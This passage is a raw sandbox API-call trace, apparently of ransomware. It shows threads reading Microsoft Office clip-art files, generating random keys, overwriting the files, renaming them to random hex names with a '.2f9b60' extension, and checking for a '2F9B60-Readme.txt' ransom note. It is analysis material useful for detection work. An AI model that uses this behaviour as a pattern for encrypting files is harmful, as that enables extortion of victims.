Size=0x20) returned 0x1b82a9c0 [0135.003] NtQuerySystemTime (in: CurrentTime=0x266df880 | out: CurrentTime=0x266df880*=132462177402514000) returned 0x0 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x217ec15e [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x31403645 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x4b662a4b [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x4dc67c57 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x79b08ee7 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x45bbabc2 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0xe4fe7f3 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x517592e3 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x620d9398 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x97556fb [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x2b0469d3 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x2ee87617 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x5e196f20 [0135.003] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x5e7ee9f5 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x6d731470 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x7dceb9cc [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x7adfa97e [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x23ad6771 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x5a765dcb [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x2db7c89c [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x487b5842 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x2aa73ef6 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x4574d8b5 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x705a8ca5 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x25259840 [0135.004] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x1dc8c300 [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x63c3680e [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x76536e5a [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x2d409445 [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x39a32b6a [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x22f9e10a [0135.005] RtlRandomEx (in: Seed=0x266df870 | out: Seed=0x266df870) returned 0x3dfe24a1 [0135.020] ReadFile (in: hFile=0x1c7c, lpBuffer=0x203554e0, nNumberOfBytesToRead=0x29e5, lpNumberOfBytesRead=0x266df870, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesRead=0x266df870*=0x29e5, lpOverlapped=0x0) returned 1 [0135.089] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.089] WriteFile (in: hFile=0x1c7c, lpBuffer=0x203590f0*, nNumberOfBytesToWrite=0x29e5, lpNumberOfBytesWritten=0x266df874, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesWritten=0x266df874*=0x29e5, lpOverlapped=0x0) returned 1 [0135.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0135.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260290 [0135.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260290) returned 1 [0135.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203590f0) returned 1 [0135.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0135.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0135.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0135.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260290 [0135.327] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.327] WriteFile (in: hFile=0x1c7c, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x266df990, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x266df990*=0x10a, lpOverlapped=0x0) returned 1 [0135.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0135.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0135.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0135.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0135.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0135.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.390] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="09") returned 2 [0135.390] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="c5") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="33") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="88") returned 2 [0135.391] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="2d") returned 2 [0135.391] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="93") returned 2 [0135.391] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="d1") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="34") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="42") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="9b") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="71") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="93") returned 2 [0135.391] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="64") returned 2 [0135.391] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="19") returned 2 [0135.391] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="0d") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="c6") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="f8") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="84") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="db") returned 2 [0135.391] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="21") returned 2 [0135.391] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="66") returned 2 [0135.391] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="f0") returned 2 [0135.391] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="a1") returned 2 [0135.391] RtlInitAnsiString (in: DestinationString=0x266dfa08, SourceString="09efc533882d93d134429b719364190dc6f884db2166f0a1" | out: DestinationString="09efc533882d93d134429b719364190dc6f884db2166f0a1") [0135.391] RtlAnsiStringToUnicodeString (in: DestinationString=0x266df9d8, SourceString="09efc533882d93d134429b719364190dc6f884db2166f0a1", AllocateDestinationString=1 | out: DestinationString="09efc533882d93d134429b719364190dc6f884db2166f0a1") returned 0x0 [0135.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0135.392] wcscat (in: _Dest=0x20509170, _Source="09efc533882d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d" [0135.392] wcscat (in: _Dest=0x20509170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d.2f9b60" [0135.392] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d.2f9b60", NtPathName=0x266df9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\09efc533882d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad810 [0146.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad810) returned 1 [0146.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0146.277] NtQueryInformationFile (in: FileHandle=0x1c7c, IoStatusBlock=0x266dfa18, FileInformation=0x266dfa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x266dfa18, FileInformation=0x266dfa28) returned 0x0 [0146.277] NtSetInformationFile (FileHandle=0x1c7c, IoStatusBlock=0x266dfa18, FileInformation=0x266dfa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509170) returned 1 [0146.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0146.284] FlushFileBuffers (hFile=0x1c7c) returned 1 [0146.317] CloseHandle (hObject=0x1c7c) returned 1 [0146.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b580 [0146.319] wcscpy (in: _Dest=0x2050b580, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.319] wcscat (in: _Dest=0x2050b580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b580) returned 1 [0146.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a8f0) returned 1 Thread: id = 1755 os_tid = 0x1774 [0132.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf")) returned 0x20 [0132.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF", dwFileAttributes=0x20) returned 1 [0133.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c84 [0135.000] GetFileSizeEx (in: hFile=0x1c84, lpFileSize=0x2643f6c0 | out: lpFileSize=0x2643f6c0*=52562) returned 1 [0135.000] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0xcd4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.000] ReadFile (in: hFile=0x1c84, lpBuffer=0x2643f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2643f688, lpOverlapped=0x0 | out: lpBuffer=0x2643f640*, lpNumberOfBytesRead=0x2643f688*=0x4, lpOverlapped=0x0) returned 1 [0135.038] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0135.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0135.038] NtQuerySystemTime (in: CurrentTime=0x2643f580 | out: CurrentTime=0x2643f580*=132462177402826000) returned 0x0 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x10220d72 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5224d83f [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5b64ddcf [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0xf22d4a3 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x66ced780 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x3abf9799 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5d799b4b [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0xc47737c [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x7c42aeb9 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5a7be234 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5c99e9df [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x45634aa6 [0135.038] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x17fd69e0 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0xbe7df2b [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x2e839402 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x6c89cecb [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x192ed154 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x502e8e00 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x19edead0 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x4e452c9e [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x3b178116 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x18a01eff [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x5f97318f [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x39252f7b [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x14beffdb [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x63a6b8a5 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x6e693d19 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x7ded7fe [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0xf4dad63 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x76096187 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x18f318f9 [0135.039] RtlRandomEx (in: Seed=0x2643f570 | out: Seed=0x2643f570) returned 0x73d2a42f [0135.070] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.070] ReadFile (in: hFile=0x1c84, lpBuffer=0x20364520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2643f5e0, lpOverlapped=0x0 | out: lpBuffer=0x20364520*, lpNumberOfBytesRead=0x2643f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0135.104] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0135.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0135.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0135.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0135.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0135.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0135.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0135.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.106] WriteFile (in: hFile=0x1c84, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2643f5e0, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x2643f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0135.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0135.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20364520) returned 1 [0135.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b320 [0135.335] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.335] WriteFile (in: hFile=0x1c84, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2643f690, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2643f690*=0x10a, lpOverlapped=0x0) returned 1 [0135.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0135.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267890 [0135.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267890) returned 1 [0135.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.399] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="ab") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="4c") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="59") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="6b") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="89") returned 2 [0135.399] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="88") returned 2 [0135.399] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.399] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="c1") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="d9") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="54") returned 2 [0135.399] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="d5") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="8f") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="fd") returned 2 [0135.400] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="cd") returned 2 [0135.400] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="92") returned 2 [0135.400] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="9b") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="40") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="b6") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="7a") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="40") returned 2 [0135.400] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="ee") returned 2 [0135.400] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="13") returned 2 [0135.400] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="e6") returned 2 [0135.400] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="bb") returned 2 [0135.400] RtlInitAnsiString (in: DestinationString=0x2643f708, SourceString="ab4c596b89889dc1d954d58ffdcd929b40b67a40ee13e6bb" | out: DestinationString="ab4c596b89889dc1d954d58ffdcd929b40b67a40ee13e6bb") [0135.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x2643f6d8, SourceString="ab4c596b89889dc1d954d58ffdcd929b40b67a40ee13e6bb", AllocateDestinationString=1 | out: DestinationString="ab4c596b89889dc1d954d58ffdcd929b40b67a40ee13e6bb") returned 0x0 [0135.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0135.400] wcscat (in: _Dest=0x20509210, _Source="ab4c596b8988" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988" [0135.400] wcscat (in: _Dest=0x20509210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988.2f9b60" [0135.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988.2f9b60", NtPathName=0x2643f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ab4c596b8988.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ada20 [0146.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0146.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0146.302] NtQueryInformationFile (in: FileHandle=0x1c84, IoStatusBlock=0x2643f718, FileInformation=0x2643f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2643f718, FileInformation=0x2643f728) returned 0x0 [0146.303] NtSetInformationFile (FileHandle=0x1c84, IoStatusBlock=0x2643f718, FileInformation=0x2643f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509210) returned 1 [0146.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0146.865] FlushFileBuffers (hFile=0x1c84) returned 1 [0146.964] CloseHandle (hObject=0x1c84) returned 1 [0146.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c120 [0146.992] wcscpy (in: _Dest=0x1b86c120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.992] wcscat (in: _Dest=0x1b86c120, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c120) returned 1 [0146.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a980) returned 1 Thread: id = 1756 os_tid = 0x1778 [0132.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf")) returned 0x20 [0132.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF", dwFileAttributes=0x20) returned 1 [0133.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c34 [0134.613] GetFileSizeEx (in: hFile=0x1c34, 